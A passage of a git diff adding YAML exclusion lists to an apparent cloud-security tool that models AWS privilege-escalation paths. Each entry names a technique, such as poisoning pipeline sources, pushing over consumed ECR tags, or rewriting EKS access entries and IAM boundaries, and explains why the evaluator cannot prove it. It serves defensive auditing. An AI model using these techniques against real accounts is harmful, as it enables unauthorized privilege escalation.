and that user’s exact + mapped IAM role are unverified; the selector includes every rule role. + prior_id: aws-cognito-adminsetuserpassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateuserimportjob--cognito-idpstartuserimportjob + source_revision: 171e422299 + technique: Import users with known passwords via a user import job + reason: Password-hash or eligible passwordless imports can create immediately + signable users, but the source's usable sign-in and exact identity-pool role + selection are unproved; the selector includes unrelated rule-mapped roles. + prior_id: aws-cognito-userimportjob-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateidentityprovider--cognito-idpupdateidentityprovider + source_revision: 171e422299 + technique: Add or change a federated identity provider of a user pool + reason: The app client accepting the new provider, controlled IdP login, and exact + token-to-role mapping are not proved. + prior_id: aws-cognito-create-update-identityprovider +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetprincipaltagattributemap--forge-the-session-tags-that-iam-conditions-trust + source_revision: 171e422299 + technique: Remap identity-pool principal tags to attributes the source controls + reason: No source-controlled token claim or ABAC permission differential is proved; + targeting the whole role overclaims tag-conditioned authority. + prior_id: aws-cognito-setprincipaltagattributemap +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminlinkproviderforuser--graft-an-attacker-identity-onto-an-existing-privileged-user + source_revision: 171e422299 + technique: Link a federated identity the source controls to an existing user-pool + user + reason: The source-controlled federated subject, app-client acceptance and resulting + victim token/role mapping are unverified. + prior_id: aws-cognito-adminlinkproviderforuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminupdateuserattributes + source_revision: 6fb9ac51fd + technique: Change a user-pool user's attributes to match an identity-pool role-mapping + rule + reason: No controlled user sign-in or exact attribute-rule match is proved; the + target set includes roles unrelated to the edited user. + prior_id: aws-cognito-adminupdateuserattributes-rule-mapping +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: 6fb9ac51fd + technique: Enable the basic (classic) authentication flow on an identity pool + reason: Enabling classic flow does not prove a source-usable identity token or exact + authenticated/unauthenticated role slot. + prior_id: aws-cognito-updateidentitypool-classic-flow diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml new file mode 100644 index 0000000000..1911160af2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml @@ -0,0 +1,5 @@ +# Existing Automation documents can avoid CreateDocument, but need an exact runnable step. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#privilege-escalation-through-automatic-remediation + source_revision: f4d5491c17 + technique: Attach an existing useful Automation document to automatic Config remediation + reason: An existing Automation document could remove the need for ssm:CreateDocument, but PutRemediationConfigurations and PassRole alone do not prove that the document accepts AutomationAssumeRole, executes an action the passed role permits, and produces a usable gain. The route also needs a non-service-linked rule, a noncompliant resource, automatic mode and the remediation service-linked role. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..a7b6450c28 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml @@ -0,0 +1,150 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/consumer-input-join-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#s3putobject-on-a-nested-stack-template--delayed-cloudformation-role-escalation + source_revision: 171e422299 + technique: Replace a mutable nested-stack template object in S3 + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-cloudformation-nested-template-s3-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#ssmputparameter-on-a-cloudformation-supplied-parameter--delayed-policy-injection + source_revision: 6fb9ac51fd + technique: Overwrite a Parameter Store value that a stack resolves as a template parameter + reason: 'The ssm:PutParameter source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-cloudformation-ssm-parameter-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdateapplication--poison-an-elastic-fleet-application-launch + source_revision: 6fb9ac51fd + technique: Change the launch definition of an application used by an Elastic fleet + reason: 'The appstream:UpdateApplication source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-appstream-updateapplication-elastic-fleet +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemaker-model-registry-supply-chain-injection-via-createmodelpackageapproved + source_revision: b587e6bd26 + technique: Register an Approved model version in a Model Package Group consumed by auto-deploy + automation + reason: 'Approved marks a model package version eligible for deployment; it does not start + a workload. A role edge needs effective CreateModelPackage permission on the exact group, + an attacker-controlled readable image or artifact in that version, an actual EventBridge + rule or CI/CD pipeline that selects the new Approved version, and a deployed endpoint or + job with a known execution role. The collector lists groups and Approved versions but not + the consumer automation, selected version or target role. The evaluator supports + consumer_input_writable_via only for Image Builder, so a group-level permission alone + cannot prove this route.' + prior_id: aws-sagemaker-createmodelpackage-approved-autodeploy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#s3putobject-on-a-configured-s3-source-codebuildstartbuild-optional + source_revision: 171e422299 + technique: Replace the S3 source object of a CodeBuild project + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codebuild-s3-source-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchchecklayeravailability-ecrbatchgetimage-ecrcompletelayerupload-ecrinitiatelayerupload-ecrputimage-ecruploadlayerpart + source_revision: 171e422299 + technique: Push an image over a mutable tag consumed by a workload with a role + reason: 'The ecr:PutImage source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-push-consumed-tag +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecr-publicgetauthorizationtoken-stsgetservicebearertoken-ecr-publicbatchchecklayeravailability-ecr-publiccompletelayerupload-ecr-publicinitiatelayerupload-ecr-publicputimage-ecr-publicuploadlayerpart + source_revision: 171e422299 + technique: Push to an ECR Public repository consumed by workloads with roles + reason: 'The ecr-public:PutImage source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-public-push-consumed-image +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrsetrepositorypolicy--self-grant-private-image-access + source_revision: 171e422299 + technique: Rewrite a private repository policy to grant the source push access + reason: 'The ecr:SetRepositoryPolicy source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-setrepositorypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecr-publicsetrepositorypolicy + source_revision: 171e422299 + technique: Rewrite an ECR Public repository policy to grant the source push access + reason: 'The ecr-public:SetRepositoryPolicy source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-public-setrepositorypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputregistrypolicy + source_revision: 171e422299 + technique: Rewrite the registry policy to grant the source push access to all repositories + reason: 'The ecr:PutRegistryPolicy source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-putregistrypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrcreatepullthroughcacherule + source_revision: 171e422299 + technique: Map a trusted private repository prefix (or ROOT) to an upstream the source controls + reason: 'The ecr:CreatePullThroughCacheRule source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-createpullthroughcacherule +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputimagetagmutability + source_revision: 171e422299 + technique: Make an immutable repository mutable and overwrite a consumed tag + reason: 'The ecr:PutImage source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-putimagetagmutability +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#trojanize-an-existing-custom-test-specification + source_revision: 171e422299 + technique: Replace the content of a custom test specification used by privileged runs + reason: 'The devicefarm:UpdateUpload source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-devicefarm-updateupload-test-spec +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommitgitpush-on-a-codepipeline-source-repository + source_revision: 6fb9ac51fd + technique: Push to a CodeCommit repository branch used as a pipeline source + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-pipeline-source +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommitgitpush-on-a-codepipeline-source-repository + source_revision: 6fb9ac51fd + technique: Push to a CodeCommit branch used as the source of a CloudFormation-deploying pipeline + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-pipeline-source-cloudformation-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#push-a-codecommit-source-revision-executed-by-a-codebuild-project + source_revision: b587e6bd26 + technique: Push a CodeCommit source revision executed by a CodeBuild project + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-codebuild-source +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#s3putobject-on-a-configured-s3-source-codepipelinestartpipelineexecution-optional + source_revision: 171e422299 + technique: Replace the S3 source object of a pipeline + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codepipeline-s3-source-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#s3putobject-on-a-configured-s3-source-codepipelinestartpipelineexecution-optional + source_revision: 6fb9ac51fd + technique: Replace the S3 source object of a pipeline that deploys through CloudFormation + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codepipeline-s3-source-poisoning-cloudformation-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..11824f3d4a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml @@ -0,0 +1,40 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/consumer-semantics-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codedeploy-privesc/README.md#codedeploycreatedeployment--dependent-actions + source_revision: 171e422299 + technique: Deploy a controlled revision to an existing EC2/on-premises deployment group + reason: CreateDeployment and RegisterApplicationRevision do not prove the source controls a + revision that the target hosts download; artifact control is only a prose condition. + prior_id: aws-codedeploy-createdeployment-instance-roles +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#poison-a-secrets_manager-or-parameter_store-environment-value + source_revision: 6fb9ac51fd + technique: Overwrite a Parameter Store value consumed as a CodeBuild environment variable + reason: The writable parameter is joined to a build, but no reviewed buildspec/consumer behavior + proves its value executes code or yields role credentials; the effect can be configuration + poisoning only. + prior_id: aws-codebuild-env-parameter-store-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#poison-a-secrets_manager-or-parameter_store-environment-value + source_revision: 6fb9ac51fd + technique: Overwrite a Secrets Manager value consumed as a CodeBuild environment variable + reason: The writable secret is joined to a build, but no reviewed buildspec/consumer behavior + proves its value executes code or yields role credentials; the effect can be configuration + poisoning only. + prior_id: aws-codebuild-env-secretsmanager-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-the-root-volume-of-an-existing-role-bearing-ec2-instance + source_revision: b587e6bd26 + technique: Replace the root volume of an existing role-bearing EC2 instance + reason: CreateReplaceRootVolumeTask does not prove the source controls a compatible replacement + AMI/snapshot containing executable payload; that separate artifact foothold is a prose condition. + prior_id: aws-ec2-createreplacerootvolumetask-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkupdateenvironment + source_revision: 171e422299 + technique: Inject runtime-influencing environment properties into an existing environment + reason: UpdateEnvironment alone does not prove the runtime interprets the chosen environment + value as code or that source-controlled executable content is available to the instances. + prior_id: aws-elasticbeanstalk-updateenvironment-env-injection +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaupdatefunctionconfiguration + source_revision: 171e422299 + technique: Change environment variables or layers of an existing Lambda to execute code + reason: UpdateFunctionConfiguration alone does not prove a runtime-specific injection executes + or that the source can publish/attach an executable wrapper layer; those requirements are + unmodeled. + prior_id: aws-lambda-updatefunctionconfiguration diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..2afe9f20bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml @@ -0,0 +1,78 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/effective-gain-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#queue-role-credential-vending + source_revision: 171e422299 + technique: Obtain the role credentials of an existing queue + reason: The queue membership and level needed to vend this exact queue role are not joined to + the source; IAM permission plus role attachment alone is insufficient. + prior_id: aws-deadline-assumequeueroleforuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatefleetupdatefleet--iampassrole--deadlinecreateworker--deadlineassumefleetroleforworker + source_revision: 6fb9ac51fd + technique: Register a logical worker on an existing customer-managed fleet and vend its fleet + role + reason: The target role may be a queue role, and no exact customer-managed fleet, source worker + registration or fleet-to-role join is proved. + prior_id: aws-deadline-createworker-assumefleetroleforworker-existing-fleet +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputuserpermissionsboundary + source_revision: 171e422299 + technique: Replace or remove the permissions boundary of the source user + reason: The old broad claim is replaced by active aws-iam-putuserpermissionsboundary-self-admin. + The active route requires an exact self-boundary mutation and verifies that an existing + administrator identity policy becomes effective after the boundary is removed or replaced. + prior_id: aws-iam-putuserpermissionsboundary-self +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 171e422299 + technique: Replace or remove the permissions boundary of the source role + reason: Replaced by active aws-iam-putrolepermissionsboundary-self-admin, which checks the + exact mutation and existing capped administrator grant and keeps the result conditional + until a fresh session of the same role can be obtained. + prior_id: aws-iam-putrolepermissionsboundary-self +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 171e422299 + technique: Move another user into an IAM path where the source's credential permissions already + apply + reason: No exact new user ARN/path is selected and authorized for both UpdateUser and credential + creation; the evaluator only checks an unrelated wildcard path. + prior_id: aws-iam-updateuser-path-move +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 171e422299 + technique: Move a group into an IAM path where the source can add members + reason: No exact new group ARN/path is selected and authorized for both UpdateGroup and AddUserToGroup; + the evaluator only checks some group path. + prior_id: aws-iam-updategroup-path-move +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 6fb9ac51fd + technique: Move the source user into an IAM path where it can edit user policies + reason: No exact post-move source ARN is proven to satisfy both UpdateUser and self policy-edit + authorization; the evaluator checks any user path. + prior_id: aws-iam-updateuser-path-move-self-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 6fb9ac51fd + technique: Move one of the source's groups into an IAM path where it can edit group policies + reason: No exact post-move group ARN is proven to satisfy both UpdateGroup and policy-edit authorization; + the evaluator checks any group path. + prior_id: aws-iam-updategroup-path-move-self-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 6fb9ac51fd + technique: Replace or remove the permissions boundary of a role the source can assume + reason: Replaced by active aws-iam-putrolepermissionsboundary-assumable-admin, which joins + the exact assumable role, restrictive old boundary, existing administrator identity + grant, mutation permission, requested replacement boundary, and fresh AssumeRole path. + prior_id: aws-iam-rolepermissionsboundary-assumable-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#impersonate-a-saml-connect-user-with-a-controllable-role-session-name + source_revision: 171e422299 + technique: Impersonate a SAML Connect user by choosing the role-session name + reason: GetFederationToken does not prove the source controls a SAML federation role session + with the victim case-sensitive username or that victim holds Connect Admin. + prior_id: aws-connect-saml-session-name-impersonation +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#take-over-a-connect-managed-user-through-updateuseridentityinfo + source_revision: 171e422299 + technique: Take over a Connect-managed user by changing its email + reason: UpdateUserIdentityInfo can change an arbitrary user email but no exact source-controlled + mailbox/sign-in or Admin-profile victim mapping is proved. + prior_id: aws-connect-updateuseridentityinfo-takeover +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifybackendgettoken--recover-a-live-studio-login + source_revision: 171e422299 + technique: Recover a live Amplify Studio administrator login + reason: GetToken requires an existing live Studio session id known to the source; no collected + exact token/session or credential usability is joined to the app. + prior_id: aws-amplifybackend-gettoken-studio-admin diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..6fd716bb17 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml @@ -0,0 +1,47 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/eks-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreateaccessentry-alone--join-an-existing-privileged-kubernetes-group + source_revision: 171e422299 + technique: Create an EKS access entry that places the source in an existing privileged + Kubernetes group + reason: No joined Kubernetes RBAC binding proves the chosen custom group grants + cluster-admin; access-entry creation alone authenticates but does not establish + authorization. + prior_id: aws-eks-createaccessentry-privileged-kubernetes-group +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdateaccessentry--escalate-an-access-entry-that-already-exists + source_revision: 171e422299 + technique: Rewrite the Kubernetes groups of an existing EKS access entry + reason: The edited access entry is not proved to name a principal the source controls, + and no joined Kubernetes RBAC binding proves the selected group grants cluster-admin. + prior_id: aws-eks-updateaccessentry-kubernetes-groups +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreatepodidentityassociation-iampassrole-iamgetrole--bind-an-aws-role-to-a-namespace-you-control + source_revision: 171e422299 + technique: Bind a passable role to a Kubernetes service account through EKS Pod + Identity + reason: CreatePodIdentityAssociation and PassRole configure a Kubernetes ServiceAccount; + source pod execution/control and the exact association-to-role credential path + are not evaluated. + prior_id: aws-eks-createpodidentityassociation-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdatepodidentityassociation-iampassrole--repoint-an-existing-association-role-swap-cross-account-chaining-tag-guardrail-bypass + source_revision: 171e422299 + technique: Repoint an existing EKS Pod Identity association to another passable + role + reason: UpdatePodIdentityAssociation changes a workload mapping; the source is not + proved to control a pod using that association or receive the role credentials. + prior_id: aws-eks-updatepodidentityassociation-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#iampassrole-ekscreatenodegroup--ekscreatefargateprofile--run-pods-on-capacity-you-control + source_revision: 171e422299 + technique: Create a managed node group with a passed node role + reason: CreateNodegroup launches nodes with the role but does not give the source + node code execution or instance-profile credentials; that separate foothold is + only a condition. + prior_id: aws-eks-passrole-createnodegroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksassociateidentityproviderconfig-with-a-matching-privileged-rbac-group + source_revision: b587e6bd26 + technique: Associate an attacker-controlled OIDC identity provider with an EKS cluster + that binds a privileged RBAC group + reason: The source-controlled OIDC tokens are not joined to an existing privileged + Kubernetes group binding; adding the issuer alone does not grant cluster-admin. + Even a proven Kubernetes-admin path reaches another AWS principal only after + joining control of a specific workload service account to an IRSA or Pod Identity + role association, its trust and effective role permissions. + prior_id: aws-eks-associateidentityproviderconfig-privileged-group diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emr_legacy_editors_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emr_legacy_editors_20261022.yaml new file mode 100644 index 0000000000..b7481c8ff3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emr_legacy_editors_20261022.yaml @@ -0,0 +1,9 @@ +# Legacy notebook editor routes need a supported editor and a cluster-role join. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducecreateeditor-iamlistroles-elasticmapreducelistclusters-iampassrole-elasticmapreducedescribeeditor-elasticmapreduceopeneditorinconsole + source_revision: e0ecce7ba7 + technique: Create and open a legacy EMR notebook on a privileged cluster + reason: AWS has disabled creation of new notebooks in the old console. Passing the notebook service role supports networking and notebook storage, not automatic kernel access to that role. A principal edge requires proof that the legacy editor API still works, a READY editor attached to a compatible cluster, source access to its kernel, the exact cluster instance-profile or runtime role, and an accepted workload. Current inventory does not join these facts. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#legacy-elasticmapreduceopeneditorinconsole-boundary + source_revision: e0ecce7ba7 + technique: Open an existing legacy EMR editor attached to a privileged cluster + reason: OpenEditorInConsole alone is not AWS credential access. A principal edge needs a supported existing editor, exact attached cluster and active kernel, source authorization to the editor, executable notebook access, the cluster's effective instance-profile or runtime role, and a role-authorized effect. Current inventory does not collect this join. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emrserverless_custom_image_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emrserverless_custom_image_20261022.yaml new file mode 100644 index 0000000000..fcdaeb9dc9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emrserverless_custom_image_20261022.yaml @@ -0,0 +1,5 @@ +# EMR Serverless custom-image substitution needs an exact future workload and role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessupdateapplication--replace-a-custom-image-for-future-workloads + source_revision: 45ec8dc775 + technique: Replace an EMR Serverless application's custom image for future workloads + reason: UpdateApplication can replace imageConfiguration on an existing application, including some running applications, but the update does not execute the image. A principal edge needs effective UpdateApplication on the exact application, controlled compatible ECR image bytes and service pull access, digest-resolution behavior, a later workload that uses the changed image, its exact execution role and an executable image component. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..59aacea0c5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml @@ -0,0 +1,57 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/execution-foothold-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistercontainerinstance-ecsderegistercontainerinstance-ecsstarttask-iampassrole + source_revision: 6fb9ac51fd + technique: Register a controlled instance into a cluster and steer tasks onto it + reason: RegisterContainerInstance and StartTask do not prove the source controls a working container + host or can read task credentials; host control is only a prose condition. + prior_id: aws-ecs-registercontainerinstance-starttask +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistercontainerinstance-ecsderegistercontainerinstance-ecsstarttask-iampassrole + source_revision: 6fb9ac51fd + technique: Register a controlled instance into a cluster and let the scheduler place tasks on + it + reason: The source is not proved to control an EC2 host or to receive an existing task; task + placement and host access are only prose conditions. + prior_id: aws-ecs-registercontainerinstance-scheduled-tasks +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#steer-replacement-service-tasks-to-an-attacker-controlled-container-instance + source_revision: b587e6bd26 + technique: Drain or deregister legitimate container instances so service tasks are replaced + onto a controlled instance + reason: Draining nodes does not prove replacement service tasks run on a source-controlled connected + host or expose their credentials. + prior_id: aws-ecs-drain-container-instances-steer-service-tasks +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdatemanagedinstancerole-iampassrole--re-point-an-existing-hybrid-instance-at-a-better-role + source_revision: 171e422299 + technique: Re-point an existing hybrid managed node to a passed role + reason: The role swap changes a hybrid node configuration, but no source-controlled managed + node or readable SSM agent credentials are joined. + prior_id: aws-ssm-passrole-updatemanagedinstancerole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdateservicesetting-iampassrole--hijack-default-host-management-configuration + source_revision: 171e422299 + technique: Set the Default Host Management Configuration role to a passed role + reason: The account-wide role setting does not prove the source can execute on a DHMC-managed + instance and obtain its SSM credentials. + prior_id: aws-ssm-passrole-updateservicesetting-dhmc +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatedbinstance-iampassrole-kms-key-use-permissions + source_revision: 171e422299 + technique: Create an RDS Custom instance with a passed AWSRDSCustom instance profile + reason: Creating a database with a passed role does not prove source code execution or administrative + access on its RDS Custom host. + prior_id: aws-rds-custom-createdbinstance-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs + source_revision: a66f094ede + technique: Launch an instance that joins an ECS cluster to receive task roles + reason: Joining a cluster with a new ECS container instance does not prove that a specific target-role + task is scheduled onto that instance. + prior_id: aws-ec2-runinstances-join-ecs-cluster +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2startbatchjob---run-an-attacker-selected-ad-hoc-s3-job-in-an-application + 